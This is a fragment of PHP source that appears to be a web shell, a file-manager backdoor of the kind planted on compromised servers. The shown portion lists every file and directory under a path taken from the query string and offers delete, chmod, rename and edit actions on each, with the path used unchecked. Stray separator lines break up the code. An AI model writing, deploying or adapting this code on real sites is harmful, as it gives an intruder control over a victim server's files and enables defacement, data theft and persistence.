<td class='center'>
|
|
<form method='POST' action='?pilihan&path=".$path."'>
|
|
<select name='pilih'>
|
|
<option value=''>Select</option>
|
|
<option value='hapus'>Delete</option>
|
|
<option value='ubahmod'>Chmod</option>
|
|
<option value='gantinama'>Rename</option>
|
|
</select>
|
|
<input type='hidden' name='type' value='dir'>
|
|
<input type='hidden' name='path' value='".$path."/".$dir."'>
|
|
<input type='submit' class='gas' value='Go'>
|
|
</form>
|
|
</td>
|
|
</tr>";
|
|
}
|
|
|
|
foreach(scandir($path) as $file) {
|
|
if(!is_file($path."/".$file)) continue;
|
|
$size = round(filesize($path."/".$file)/1024, 2) . " KB";
|
|
echo "<tr>
|
|
<td><a href=\"?fileloc=".$path."/".$file."&path=".$path."\">📄 ".$file."</a></td>
|
|
<td class='center'>".$size."</td>
|
|
<td class='center'>".statusnya($path."/".$file)."</td>
|
|
<td class='center'>
|
|
<form method='POST' action='?pilihan&path=".$path."'>
|
|
<select name='pilih'>
|
|
<option value=''>Select</option>
|
|
<option value='hapus'>Delete</option>
|
|
<option value='ubahmod'>Chmod</option>
|
|
<option value='gantinama'>Rename</option>
|
|
<option value='edit'>Edit</option>
|
|
</select>
|
|
<input type='hidden' name='type' value='file'>
|
|
<input type='hidden' name='path' value='".$path."/".$file."'>
|
|
<input type='submit' class='gas' value='Go'>
|
|
</form>
|
|
</td>
|
|
</tr>";
|
|
}
|
|
|
|
echo '</table><br>';
|
|
|
|
author();
|
|
|
|
function statusnya($file) {
|
|
$statusnya = fileperms($file);
|
|
$ingfo = (($statusnya & 0xC000) == 0xC000) ? 's' :
|
|
((($statusnya & 0xA000) == 0xA000) ? 'l' :
|
|
((($statusnya & 0x8000) == 0x8000) ? '-' : 'u'));
|
|
|
|
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
|
|
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
|
|
$ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x') : (($statusnya & 0x0800) ? 'S' : '-'));
|
|
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
|
|
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
|
|
$ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x') : (($statusnya & 0x0400) ? 'S' : '-'));
|
|
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
|
|
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
|
|
$ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x') : (($statusnya & 0x0200) ? 'T' : '-'));
|
|
|
|
return $ingfo;
|
|
}
|
|
?>
|
|
</body>
|
|
</html>
|